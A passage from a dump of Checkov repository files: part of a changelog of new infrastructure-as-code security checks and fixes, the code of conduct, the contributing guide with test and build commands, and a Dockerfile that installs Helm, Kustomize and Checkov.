[#3635](https://github.com/bridgecrewio/checkov/pull/3635)\n- **terraform:** add CKV NCP rules about Network ACL. - [#3668](https://github.com/bridgecrewio/checkov/pull/3668)\n- **terraform:** TF Dynamic Blocks support - `for_each` lists type - [#3737](https://github.com/bridgecrewio/checkov/pull/3737)\n\n### Bug Fix\n\n- **terraform:** fix a TF plan issue with CKV_AWS_274 - [#3747](https://github.com/bridgecrewio/checkov/pull/3747)\n- **terraform:** fix false positive for write ACL yaml check - [#3745](https://github.com/bridgecrewio/checkov/pull/3745)\n\n### Documentation\n\n- **general:** Update Jenkins page to use Checkov image - [#3725](https://github.com/bridgecrewio/checkov/pull/3725)\n\n## [2.2.0](https://github.com/bridgecrewio/checkov/compare/2.1.294...2.2.0) - 2022-10-26\n\n### Breaking Change\n\n- **github:** Change github_failed_only output suffix to .md - [#3595](https://github.com/bridgecrewio/checkov/pull/3595)\n- **terraform:** adjust the check result return for dependant variables to unknown in  Python based checks - [#3743](https://github.com/bridgecrewio/checkov/pull/3743)\n- **terraform:** return UNKNOWN for unrendered values in graph checks - [#3689](https://github.com/bridgecrewio/checkov/pull/3689)\n\n### Feature\n\n- **terraform:** add CKV NCP rule about block storage encryption. - [#3628](https://github.com/bridgecrewio/checkov/pull/3628)\n- **terraform:** add CKV NCP rule about vpc volume encryption. - [#3629](https://github.com/bridgecrewio/checkov/pull/3629)\n- **terraform:** add CKV NCP rules about Network ACL. - [#3630](https://github.com/bridgecrewio/checkov/pull/3630)\n- **terraform:** Create checks for aws managed admin policy - [#3741](https://github.com/bridgecrewio/checkov/pull/3741)\n\n### Bug Fix\n\n- **terraform:** local_authentication_disabled - cosmodb check to look at SQL Api only CKV_AZURE_140 - [#3648](https://github.com/bridgecrewio/checkov/pull/3648)\n\n## [2.1.294](https://github.com/bridgecrewio/checkov/compare/2.1.290...2.1.294) - 2022-10-25\n\n### Feature\n\n- **kubernetes:** Create label selector edge builder - [#3715](https://github.com/bridgecrewio/checkov/pull/3715)\n- **terraform:** add CKV NCP rules about access control group Inbound rule. - [#3627](https://github.com/bridgecrewio/checkov/pull/3627)\n- **terraform:** add versioned kubernetes resources to terraform kubernetes checks (5/5) - [#3657](https://github.com/bridgecrewio/checkov/pull/3657)\n\n### Bug Fix\n\n- **general:** skip scanning VCS configuration if only files are passed in - [#3729](https://github.com/bridgecrewio/checkov/pull/3729)\n\n## [2.1.290](https://github.com/bridgecrewio/checkov/compare/2.1.288...2.1.290) - 2022-10-24\n\n### Feature\n\n- **circleci:** CircleCI Image Reference using Mixin class - [#3707](https://github.com/bridgecrewio/checkov/pull/3707)\n\n### Bug Fix\n\n- **kubernetes:** fix in CPURequests check - [#3727](https://github.com/bridgecrewio/checkov/pull/3727)\n\n## [2.1.288](https://github.com/bridgecrewio/checkov/compare/2.1.286...2.1.288) - 2022-10-24\n\n### Bug Fix\n\n- **github:** fix GITHUB_OUTPUT and GITHUB_ENV issues of checkov-action - [#3726](https://github.com/bridgecrewio/checkov/pull/3726)\n- **gitlab:** Modify gitlab ci resource id - [#3706](https://github.com/bridgecrewio/checkov/pull/3706)\n\n## [2.1.286](https://github.com/bridgecrewio/checkov/compare/2.1.282...2.1.286) - 2022-10-23\n\n### Feature\n\n- **graph:** equals/not_equals_ignore_case operators (solvers) - [#3698](https://github.com/bridgecrewio/checkov/pull/3698)\n\n### Bug Fix\n\n- **github:** Fix GHA off value error resulting in checkov hanging - [#3713](https://github.com/bridgecrewio/checkov/pull/3713)\n- **gitlab:** vcs gitlab groups retrieval - [#3716](https://github.com/bridgecrewio/checkov/pull/3716)\n- **kubernetes:** fix in ServiceAccountTokens check - [#3717](https://github.com/bridgecrewio/checkov/pull/3717)\n- **terraform:** Add debug logs to yaml parsing logic - [#3718](https://github.com/bridgecrewio/checkov/pull/3718)\n\n## [2.1.282](https://github.com/bridgecrewio/checkov/compare/2.1.277...2.1.282) - 2022-10-20\n\n### Bug Fix\n\n- **general:** Custom Policies integration must run before Suppresion integration - [#3701](https://github.com/bridgecrewio/checkov/pull/3701)\n- **terraform:** Add or condition for TLS 1.3 policy, supporting CKV_AWS_103 - [#3700](https://github.com/bridgecrewio/checkov/pull/3700)\n- **terraform:** Fix TF AbsGoogleComputeFirewallUnrestrictedIngress check - [#3704](https://github.com/bridgecrewio/checkov/pull/3704)\n\n## [2.1.277](https://github.com/bridgecrewio/checkov/compare/2.1.273...2.1.277) - 2022-10-19\n\n### Feature\n\n- **terraform:** add CKV NCP rules about access control group outbound rule. - [#3624](https://github.com/bridgecrewio/checkov/pull/3624)\n- **terraform:** add versioned kubernetes resources to terraform kubernetes checks (2/5) - [#3654](https://github.com/bridgecrewio/checkov/pull/3654)\n- **terraform:** add versioned kubernetes resources to terraform kubernetes checks (3/5) - [#3655](https://github.com/bridgecrewio/checkov/pull/3655)\n- **terraform:** add versioned kubernetes resources to terraform kubernetes checks (4/5) - [#3656](https://github.com/bridgecrewio/checkov/pull/3656)\n\n### Bug Fix\n\n- **cloudformation:** Fix ALBListenerTLS12 check - [#3697](https://github.com/bridgecrewio/checkov/pull/3697)\n- **helm:** undo file_abs_path manipulation for helm files - [#3692](https://github.com/bridgecrewio/checkov/pull/3692)\n- **kubernetes:** Couple of fixes in Checks - [#3686](https://github.com/bridgecrewio/checkov/pull/3686)\n- **terraform:** Fix CloudArmorWAFACLCVE202144228 check - [#3696](https://github.com/bridgecrewio/checkov/pull/3696)\n\n## [2.1.273](https://github.com/bridgecrewio/checkov/compare/2.1.270...2.1.273) - 2022-10-18\n\n### Feature\n\n- **kustomize:** stop kustomize run, if there is nothing to process - [#3681](https://github.com/bridgecrewio/checkov/pull/3681)\n- **sca:** Enable multiple image referencer framework results in the same scan - [#3652](https://github.com/bridgecrewio/checkov/pull/3652)\n- **terraform:** add versioned kubernetes resources to terraform kubernetes checks (1/5) - [#3653](https://github.com/bridgecrewio/checkov/pull/3653)\n\n### Documentation\n\n- **general:** Fix broken links - [#3685](https://github.com/bridgecrewio/checkov/pull/3685)\n\n## [2.1.270](https://github.com/bridgecrewio/checkov/compare/2.1.269...2.1.270) - 2022-10-13\n\n### Bug Fix\n\n- **terraform:** Outdated check for google_container_cluster binary authorization - [#3612](https://github.com/bridgecrewio/checkov/pull/3612)\n\n## [2.1.269](https://github.com/bridgecrewio/checkov/compare/2.1.266...2.1.269) - 2022-10-12\n\n### Feature\n\n- **terraform:** Added new Terraform-AWS python IAMUserNotUsedForAccess(CKV_AWS_273) policy - [#3574](https://github.com/bridgecrewio/checkov/pull/3574)\n\n### Bug Fix\n\n- **argo:** only scan Argo Workflows files - [#3644](https://github.com/bridgecrewio/checkov/pull/3644)\n- **kubernetes:** minor fix for getting entity type from template - [#3645](https://github.com/bridgecrewio/checkov/pull/3645)\n- **kustomize:** add --client=true to kubectl version command, to prevent checkov waiting for timeout if cluster is unreachable - [#3641](https://github.com/bridgecrewio/checkov/pull/3641)\n- **terraform:** update CKV_AWS_213 to also cover AWS predefined security policies - [#3615](https://github.com/bridgecrewio/checkov/pull/3615)\n\n## [2.1.266](https://github.com/bridgecrewio/checkov/compare/2.1.258...2.1.266) - 2022-10-11\n\n### Feature\n\n- **general:** add Azure Pipelines framework - [#3579](https://github.com/bridgecrewio/checkov/pull/3579)\n\n### Bug Fix\n\n- **dockerfile:** handle quoted absolute path in CKV_DOCKER_10  - [#3626](https://github.com/bridgecrewio/checkov/pull/3626)\n- **kubernetes:** handled missing field secretKeyRef in template - [#3639](https://github.com/bridgecrewio/checkov/pull/3639)\n- **kubernetes:** handled missing key in k8s templates - [#3640](https://github.com/bridgecrewio/checkov/pull/3640)\n- **terraform:** extend CKV2_AWS_15 to support aws_lb_target_group - [#3617](https://github.com/bridgecrewio/checkov/pull/3617)\n- **terraform:** handle unexpected value for enabled_cloudwatch_logs_exports - [#3638](https://github.com/bridgecrewio/checkov/pull/3638)\n\n## [2.1.258](https://github.com/bridgecrewio/checkov/compare/2.1.255...2.1.258) - 2022-10-06\n\n### Feature\n\n- **dockerfile:** add Image Referencer for Dockerfile - [#3571](https://github.com/bridgecrewio/checkov/pull/3571)\n\n### Bug Fix\n\n- **cloudformation:** Fixed unexpected null properties for LaunchConfigurationEBSEncryption - [#3620](https://github.com/bridgecrewio/checkov/pull/3620)\n\n## [2.1.255](https://github.com/bridgecrewio/checkov/compare/2.1.254...2.1.255) - 2022-10-04\n\n### Feature\n\n- **general:** allow file destination mapping via output-file-path flag - [#3593](https://github.com/bridgecrewio/checkov/pull/3593)\n\n## [2.1.254](https://github.com/bridgecrewio/checkov/compare/2.1.247...2.1.254) - 2022-10-03\n\n### Feature\n\n- **github:** GHA Image Referencer using IR Mixin class - [#3583](https://github.com/bridgecrewio/checkov/pull/3583)\n- **graph:** add support for guideline field to custom graph checks - [#3600](https://github.com/bridgecrewio/checkov/pull/3600)\n- **sca:** Add root path references to shorten file paths in Image Referencer results - [#3609](https://github.com/bridgecrewio/checkov/pull/3609)\n- **sca:** support Image referencer in CLI - [#3601](https://github.com/bridgecrewio/checkov/pull/3601)\n\n### Bug Fix\n\n- **github:** bug fixes in CKV_GITHUB_6, CKV_GITHUB_7, CKV_GITHUB_9 - [#3605](https://github.com/bridgecrewio/checkov/pull/3605)\n- **github:** Fix resource id and file path for GHA IR - [#3610](https://github.com/bridgecrewio/checkov/pull/3610)\n- **terraform:** extend check for google cloud functions 2nd generation - [#3607](https://github.com/bridgecrewio/checkov/pull/3607)\n- **terraform:** fix port is bool ingress rule - [#3606](https://github.com/bridgecrewio/checkov/pull/3606)\n\n## [2.1.247](https://github.com/bridgecrewio/checkov/compare/2.1.242...2.1.247) - 2022-10-02\n\n### Feature\n\n- **general:** added cli argument for extra resources in report - [#3588](https://github.com/bridgecrewio/checkov/pull/3588)\n- **serverless:** added extra resources for serverless and dockerfile - [#3576](https://github.com/bridgecrewio/checkov/pull/3576)\n- **terraform:** add CKV_NCP_1 about lb target group health check, CKV_NCP_2 about access control group description - [#3569](https://github.com/bridgecrewio/checkov/pull/3569)\n\n### Bug Fix\n\n- **cloudformation:** fix lc ebs encryption - [#3598](https://github.com/bridgecrewio/checkov/pull/3598)\n- **github:** changed the schema to accept no description for org - [#3589](https://github.com/bridgecrewio/checkov/pull/3589)\n- **secrets:** Skip secrets from files encoded with special codecs - [#3597](https://github.com/bridgecrewio/checkov/pull/3597)\n\n## [2.1.242](https://github.com/bridgecrewio/checkov/compare/2.1.236...2.1.242) - 2022-09-29\n\n### Breaking Change\n\n- **general:** switch from black-list to block-list  - [#3581](https://github.com/bridgecrewio/checkov/pull/3581)\n\n### Feature\n\n- **kubernetes:** added resources mappings for roles objects - [#3582](https://github.com/bridgecrewio/checkov/pull/3582)\n\n### Bug Fix\n\n- **github:** fix variables initialization - [#3585](https://github.com/bridgecrewio/checkov/pull/3585)\n- **kubernetes:** Handle templates without name for PeerClientCertAuthTrue check - [#3577](https://github.com/bridgecrewio/checkov/pull/3577)\n- **openapi:** fix openapi schema bug - [#3587](https://github.com/bridgecrewio/checkov/pull/3587)\n- **sca:** fix CycloneDX output for Docker images - [#3586](https://github.com/bridgecrewio/checkov/pull/3586)\n- **secrets:** change entropy limit in Combinator plugin - [#3575](https://github.com/bridgecrewio/checkov/pull/3575)\n- **terraform:** fix external modules ids in graph report - [#3584](https://github.com/bridgecrewio/checkov/pull/3584)\n- **terraform:** Handle malformed database_flags for GCP DB checks - [#3578](https://github.com/bridgecrewio/checkov/pull/3578)\n\n## [2.1.236](https://github.com/bridgecrewio/checkov/compare/2.1.229...2.1.236) - 2022-09-28\n\n### Feature\n\n- **general:** Add enforcement rules to entrypoint.sh - [#3573](https://github.com/bridgecrewio/checkov/pull/3573)\n- **openapi:** add CKV_OPENAPI_7 to ensure http is not used in path definition - [#3547](https://github.com/bridgecrewio/checkov/pull/3547)\n- **sca:** add Image Referencer for Kubernetes, Helm and Kustomize - [#3505](https://github.com/bridgecrewio/checkov/pull/3505)\n- **terraform:** add CKV_AWS_272 to validate Lambda function code-signing - [#3556](https://github.com/bridgecrewio/checkov/pull/3556)\n- **terraform:** add new gcp postgresql checks - [#3532](https://github.com/bridgecrewio/checkov/pull/3532)\n- **terraform:** allow resources without values in TF plan - [#3563](https://github.com/bridgecrewio/checkov/pull/3563)\n\n## [2.1.229](https://github.com/bridgecrewio/checkov/compare/2.1.228...2.1.229) - 2022-09-27\n\n### Bug Fix\n\n- **kubernetes:** [CKV_K8S_68] Remove unnecessary condition check from ApiServerAnonymousAuth.py - [#3543](https://github.com/bridgecrewio/checkov/pull/3543)\n\n## [2.1.228](https://github.com/bridgecrewio/checkov/compare/2.1.227...2.1.228) - 2022-09-26\n\n### Bug Fix\n\n- **general:** use current branch name instead of master for the checkov-action  - [#3568](https://github.com/bridgecrewio/checkov/pull/3568)\n\n## [2.1.227](https://github.com/bridgecrewio/checkov/compare/2.1.226...2.1.227) - 2022-09-23\n\n### Documentation\n\n- **general:** Multi skip docs - [#3561](https://github.com/bridgecrewio/checkov/pull/3561)\n\n## [2.1.226](https://github.com/bridgecrewio/checkov/compare/2.1.223...2.1.226) - 2022-09-22\n\n### Feature\n\n- **gitlab:** GitlabCI ImageReferencer - [#3544](https://github.com/bridgecrewio/checkov/pull/3544)\n\n### Bug Fix\n\n- **secrets:** Bump bc-detect-secrets - [#3555](https://github.com/bridgecrewio/checkov/pull/3555)\n- **terraform:** fix check CKV2_AZURE_8 - [#3554](https://github.com/bridgecrewio/checkov/pull/3554)\n\n### Documentation\n\n- **general:** Fix TOC rendering issue on checkov.io - [#3551](https://github.com/bridgecrewio/checkov/pull/3551)\n\n## [2.1.223](https://github.com/bridgecrewio/checkov/compare/2.1.219...2.1.223) - 2022-09-21\n\n### Feature\n\n- **general:** Improve ComplexSolver run time - [#3548](https://github.com/bridgecrewio/checkov/pull/3548)\n- **kubernetes:** create complex k8s vertices - [#3549](https://github.com/bridgecrewio/checkov/pull/3549)\n\n### Bug Fix\n\n- **general:** only add `helpUri` to SARIF if it is non-empty - [#3542](https://github.com/bridgecrewio/checkov/pull/3542)\n- **kubernetes:** [CKV_K8S_140] Update ApiServerTlsCertAndKey.py to check RHS values  - [#3506](https://github.com/bridgecrewio/checkov/pull/3506)\n- **kubernetes:** [CKV_K8S_90] Remove unnecessary condition check from ApiServerProfiling.py - [#3541](https://github.com/bridgecrewio/checkov/pull/3541)\n\n## [2.1.219](https://github.com/bridgecrewio/checkov/compare/2.1.214...2.1.219) - 2022-09-20\n\n### Feature\n\n- **cloudformation:** add CKV_AWS_197 for CFN - [#3536](https://github.com/bridgecrewio/checkov/pull/3536)\n- **sca:** Split `PRESENT_CACHED_RESULTS` env var to 2 feature flag like vars - [#3518](https://github.com/bridgecrewio/checkov/pull/3518)\n\n### Bug Fix\n\n- **general:** handle fixes for cloned OOTB policies - [#3535](https://github.com/bridgecrewio/checkov/pull/3535)\n- **helm:** fix helm signal abort handler - [#3539](https://github.com/bridgecrewio/checkov/pull/3539)\n- **terraform:** APIGatewayAuthorization check missing authorization - [#3545](https://github.com/bridgecrewio/checkov/pull/3545)\n- **terraform:** fix tfvars rendering - [#3533](https://github.com/bridgecrewio/checkov/pull/3533)\n\n## [2.1.214](https://github.com/bridgecrewio/checkov/compare/2.1.212...2.1.214) - 2022-09-19\n\n### Feature\n\n- **general:** leverage SARIF helpUri for guideline and SCA link - [#3492](https://github.com/bridgecrewio/checkov/pull/3492)\n- **github:** Improving GHA schema validation - [#3513](https://github.com/bridgecrewio/checkov/pull/3513)\n- **kubernetes:** added base class K8SEdgeBuilder - [#3530](https://github.com/bridgecrewio/checkov/pull/3530)\n- **terraform:** GCP Cloud functions should not be public - [#3477](https://github.com/bridgecrewio/checkov/pull/3477)\n\n### Bug Fix\n\n- **github:** add missing schema files to distribution package - [#3537](https://github.com/bridgecrewio/checkov/pull/3537)\n- **sca:** changes on cve suppressions to match package and image scan - [#3502](https://github.com/bridgecrewio/checkov/pull/3502)\n- **sca:** send exception log when exceeded retries - [#3534](https://github.com/bridgecrewio/checkov/pull/3534)\n- **terraform:**  make test case insensitive for CKV_ALI_35,CKV_ALI_36,CKV_ALI_37 - [#3507](https://github.com/bridgecrewio/checkov/pull/3507)\n- **terraform:** do not evaluate OCI policy statements - [#3411](https://github.com/bridgecrewio/checkov/pull/3411)\n\n## [2.1.212](https://github.com/bridgecrewio/checkov/compare/2.1.210...2.1.212) - 2022-09-18\n\n### Bug Fix\n\n- **helm:** helm add timeout to dependencies command - [#3525](https://github.com/bridgecrewio/checkov/pull/3525)\n- **helm:** Helm fix logs - [#3524](https://github.com/bridgecrewio/checkov/pull/3524)\n\n## [2.1.210](https://github.com/bridgecrewio/checkov/compare/2.1.207...2.1.210) - 2022-09-15\n\n### Feature\n\n- **sca:** add Image Referencer for CloudFormation - [#3501](https://github.com/bridgecrewio/checkov/pull/3501)\n\n### Bug Fix\n\n- **helm:** add try catch to helm cmd run - [#3508](https://github.com/bridgecrewio/checkov/pull/3508)\n\n### Platform\n\n- **general:** upload run metadata to S3 - [#3461](https://github.com/bridgecrewio/checkov/pull/3461)\n\n## [2.1.207](https://github.com/bridgecrewio/checkov/compare/2.1.205...2.1.207) - 2022-09-14\n\n### Feature\n\n- **general:** fix format of cli command reference table - [#3504](https://github.com/bridgecrewio/checkov/pull/3504)\n\n### Bug Fix\n\n- **sca:** skip old CVE suppressions (without 'accountIds') - [#3503](https://github.com/bridgecrewio/checkov/pull/3503)\n\n## [2.1.205](https://github.com/bridgecrewio/checkov/compare/2.1.204...2.1.205) - 2022-09-13\n\n### Feature\n\n- **general:** add flag for summary position - [#3497](https://github.com/bridgecrewio/checkov/pull/3497)\n\n## [2.1.204](https://github.com/bridgecrewio/checkov/compare/2.1.201...2.1.204) - 2022-09-12\n\n### Feature\n\n- **sca:** licenses suppressions by type - [#3491](https://github.com/bridgecrewio/checkov/pull/3491)\n\n### Bug Fix\n\n- **arm:** unexpected data type in ACRAnonymousPullDisabled - [#3496](https://github.com/bridgecrewio/checkov/pull/3496)\n- **general:** remove duplicated reports - [#3495](https://github.com/bridgecrewio/checkov/pull/3495)\n\n## [2.1.201](https://github.com/bridgecrewio/checkov/compare/2.1.196...2.1.201) - 2022-09-08\n\n### Feature\n\n- **general:** `intersects/not_intersects` operators (solvers) - [#3482](https://github.com/bridgecrewio/checkov/pull/3482)\n\n### Bug Fix\n\n- **gha:** Gracefully handle bad GHA job definitions - [#3489](https://github.com/bridgecrewio/checkov/pull/3489)\n- **sca:** do not skip the scan if BC_LIC is used with --check - [#3488](https://github.com/bridgecrewio/checkov/pull/3488)\n\n## [2.1.196](https://github.com/bridgecrewio/checkov/compare/2.1.193...2.1.196) - 2022-09-07\n\n### Bug Fix\n\n- **kubernetes:** Validate k8s spec type - [#3483](https://github.com/bridgecrewio/checkov/pull/3483)\n- **terraform:** removed duplicate check CKV_ALI_34 - [#3467](https://github.com/bridgecrewio/checkov/pull/3467)\n\n## [2.1.193](https://github.com/bridgecrewio/checkov/compare/2.1.188...2.1.193) - 2022-09-06\n\n### Bug Fix\n\n- **cloudformation:** fix bug in cfn parser - [#3473](https://github.com/bridgecrewio/checkov/pull/3473)\n\n### Platform\n\n- **sca:** Add images data to image_cached_results for ImageReferencer scan - [#3468](https://github.com/bridgecrewio/checkov/pull/3468)\n- **secrets:** modify checkov secrets scanner to scan all files based on ff - [#3474](https://github.com/bridgecrewio/checkov/pull/3474)\n\n## [2.1.188](https://github.com/bridgecrewio/checkov/compare/2.1.184...2.1.188) - 2022-09-05\n\n## Feature\n\n- **cloudformation:** json parser support triple quote string - [#3463](https://github.com/bridgecrewio/checkov/pull/3463)\n\n## Bug Fix\n\n- **terraform:** gcp postgresql default values - [#3457](https://github.com/bridgecrewio/checkov/pull/3457)\n\n## [2.1.184](https://github.com/bridgecrewio/checkov/compare/2.1.182...2.1.184) - 2022-09-04\n\n## Platform\n\n- **general:** trim API urls - [#3460](https://github.com/bridgecrewio/checkov/pull/3460)\n\n## Documentation\n\n- **general:** adjust example for custom check with guideline - [#3459](https://github.com/bridgecrewio/checkov/pull/3459)\n\n## [2.1.182](https://github.com/bridgecrewio/checkov/compare/2.1.179...2.1.182) - 2022-09-02\n\n## Feature\n\n- **sca:** Added fix details to junitxml - [#3456](https://github.com/bridgecrewio/checkov/pull/3456)\n- **terraform:** Added 5 python (CKV_AWS_267-271) and 2 yaml (CKV2_AWS_38-39) policies. - [#3438](https://github.com/bridgecrewio/checkov/pull/3438)\n\n## [2.1.179](https://github.com/bridgecrewio/checkov/compare/2.1.176...2.1.179) - 2022-09-01\n\n## Bug Fix\n\n- **graph:** cache jsonpath attributes parser results - [#3451](https://github.com/bridgecrewio/checkov/pull/3451)\n\n## Platform\n\n- **general:** revert dropping checks metadata for empty reports - [#3453](https://github.com/bridgecrewio/checkov/pull/3453)\n"
  },
  {
    "path": "CNAME",
    "content": "checkov.io"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to making participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, sex characteristics, gender identity and expression,\nlevel of experience, education, socio-economic status, nationality, personal\nappearance, race, religion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or\n advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic\n address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces\nwhen an individual is representing the project or its community. Examples of\nrepresenting a project or community include using an official project e-mail\naddress, posting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event. Representation of a project may be\nfurther defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team on our community slack. All\ncomplaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html\n\n[homepage]: https://www.contributor-covenant.org\n\nFor answers to common questions about this code of conduct, see\nhttps://www.contributor-covenant.org/faq\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing\n\nThe developer guide is for anyone wanting to contribute directly to the Checkov project. \n\nIf you've already developed new checks we'd be happy to take a look at them and merge them as part of the [fast-lane](https://github.com/bridgecrewio/checkov/issues?q=is%3Aopen+is%3Aissue+label%3Afast-lane).  \n\n\n\n## Open an issue\n\nCheckov is an open source project maintained by \n[Prisma Cloud by Palo Alto Networks](https://www.prismacloud.io/?utm_source=github&utm_medium=organic_oss&utm_campaign=checkov). \nOur team of maintainers continuously works on developing new features and enhancing existing features. If you encounter \na bug or have a suggestion, please start by opening an Issue. When reporting, provide a detailed description with examples \nto help us understand the context and specifics. Please note that while we review every issue, non-critical or \nnon-blocking issues may be prioritized based on their popularity or frequency. We appreciate your contributions and \nengagement in helping us improve Checkov.\n\n## Developing and contributing code\n\nDedicated Prisma Cloud maintainers are actively developing new content and adding more features. We would be delighted to \nchat and look at your code. Here are a few guidelines we follow. Hopefully, these will ensure your contribution could \nquickly be added to the project. \n\n### Work locally\n\nMost Checkov users run their own local instances of Checkov and either run it manually or routinely using Jenkins or \nCircleCI. As Checkov is a non-intrusive library we recommend developing against a local repository and ensuring you are \nable to add your contributions successfully on your local fork/repo. \n\nIf you are developing against remote libraries or repositories - that's great! We'd love to hear how you're doing with it.\nIn the meantime, before you open a PR, deploy and test your contributions locally.\n\n### Keep your fork in sync\n\nCheckov is usually updated on a weekly basis. Syncing your fork weekly ensures you are working on an updated version that will not break your PR.  \n\n### Rationalize your commits\n\nTry to work on structured and well-defined contributions. If you are building a new feature try to build a unified \nfeature block that can be easily reviewed and tested.\n\nIf you are fixing or patching changing existing code break changes into logical blocks which individually make sense \nand in aggregate solve a broader issue. \n\n### Test where it matters\n\n1. Unit: Unit tests, including check tests, are stored in checkov/tests/. \n2. E2E: End-to-end tests will help us establish if the feature is in high readiness. They are not required for simple \nor straight forward features but will help us in evaluating the PR.\n\n#### Tests for new checks\n\nWhen you add a new check, please write a test for it. While there are many different ways that tests have been written in the past, we have standardized on [this](https://github.com/bridgecrewio/checkov/blob/main/tests/terraform/checks/resource/aws/test_IAMAdminPolicyDocument.py) format. The key points are:\n\n* The test defines templates as strings (in this case, in separate files, but hardcoding a string is also acceptable) and parses them using the runner. The configuration should NOT be hard-coded as an object, as in [this](https://github.com/bridgecrewio/checkov/blob/main/tests/terraform/checks/resource/aws/test_ALBListenerHTTPS.py) example. The reason is that parsers sometimes produce unexpected object structures, so it is quite common that hardcoding the object allows the test to pass but causes the check to be incorrect in practice.\n* The test explicitly lists which resources should pass and which should fail. Merely checking the count of passes and failures is not enough. While rare, in the past this has resulted in tests that pass but checks that are incorrect in practice.\n\n#### Running tests\n\nContinuous integration will run these tests either as pre-submits on PRs and post-submits against master branch. \nResults will appear under [actions](https://github.com/bridgecrewio/checkov/actions).\n\nTo run tests locally use the following commands (install dev dependencies, run tests and compute tests coverage):\nIf you are using conda, create a new environment with Python 3.10.14 version:\n```sh\nconda create -n python310 python=3.10.17\nconda activate python310\n```\nThen, we need pipenv installation and run the tests and coverage modules \n```sh\npip install pipenv\npipenv install --dev\npipenv run python -m coverage run -m pytest tests\n```\n\n### Build package locally\nChange the version number on the file with your version : `<checkov>/checkov/version.py`\nTo build package locally run the following on `<checkov>` root folder:\n\n```sh\npipenv run python setup.py sdist bdist_wheel\n```\n- This will create a `*.whl` package under a new folder named `dist`\n\nTo install package from local directory, update the release version value and run the installation:\n```sh\nRELEASE_VERSION='xxx'\npip install dist/checkov-${RELEASE_VERSION}-py3-none-any.whl\n```\n\n### Test the package\nFirst verify you have the right version installed:\n```sh\ncheckov --version\n```\nThen, optionally, you can run on a terraform file/directory with your success and failure test scenarios.\n\n### Setting up the pre-commit hooks\n\nAfter setting up your Python environment simply run \n```shell\npre-commit install\n```\n\nTo check the code base against the pre-commit hooks just run\n```shell\npre-commit run -a\n```\n\n### Using regex\n\nUse re.compile for all regex in order to scan them in flake8.\n\n### Documentation is awesome\n\nContributing to the documentation is not mandatory but it will ensure people are aware of your important contribution. \nThe best way to add documentation is by including suggestions to the [docs](https://github.com/bridgecrewio/checkov/tree/main/docs) \nlibrary as part of your PR. If you'd rather send us a short blurb on slack that's also fine.\n\n## Creating a pull-request\n\nIf a trivial fix such as a broken link, typo or grammar mistake, review the entire document for other potential mistakes. \nTry not to open multiple PRs for small fixes in the same document.\nReference any issues related to your PR, or issues that PR may solve.\nComment on your own PR where you believe something may need further explanation.\nNo need to assign explicit reviewers. We have maintainers reviewing contributions on a daily basis\nIf your PR is considered a \"Work in progress\" prefix the name with [WIP] or use the /hold command. This will prevent \nthe PR from being merged till the [WIP] or hold is lifted.\nIf your PR isn't getting enough attention, don't hesitate to ping one of the maintainers on Slack to find additional reviewers.\n\n## Fast-lane for new checks\n\nIf you would like to contribute a new check, please label your issue or PR with a `fast-lane` label. This ensures your \ninputs are seen and reviewed quickly and get distributed back to the entire community.\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM python:3.11-slim\n\nENV RUN_IN_DOCKER=True\n\nRUN set -eux; \\\n    apt-get update; \\\n    apt-get -y upgrade; \\\n    apt-get install -y --no-install-recommends \\\n            ca-certificates \\\n            git \\\n            curl \\\n            openssh-client \\\n    ; \\\n    \\\n    pip install setuptools==78.1.1 urllib3==2.2.2;  \\\n    curl -sSLo get_helm.sh https://raw.githubusercontent.com/helm/helm/master/scripts/get-helm-3; \\\n    chmod 700 get_helm.sh; \\\n    VERIFY_CHECKSUM=true ./get_helm.sh; \\\n    rm ./get_helm.sh; \\\n    \\\n    curl -sSLo get_kustomize.sh https://raw.githubusercontent.com/kubernetes-sigs/kustomize/master/hack/install_kustomize.sh; \\\n    chmod 700 get_kustomize.sh; \\\n    ./get_kustomize.sh; mv /kustomize /usr/bin/kustomize; \\\n    rm ./get_kustomize.sh; \\\n    \\\n    apt-get remove -y curl; \\\n    apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false; \\\n    rm -rf /var/lib/apt/lists/*\n\nRUN pip install --no-cache-dir -U checkov\n\nCOPY ./github_action_resources/entrypoint.sh /entrypoint.sh\nCOPY ./github_action_resources/checkov-problem-matcher.json /usr/local/lib/checkov-problem-matcher.json\nCOPY ./github_action_resources/checkov-problem-matcher-softfail.json /usr/local/lib/checkov-problem-matcher-softfail.json\n\n# Code file to execute when the docker container starts up (`entrypoint.sh`)\nENTRYPOINT [\"/entrypoint.sh\"]\n"
  },
  {
    "path": "INTHEWILD.md",
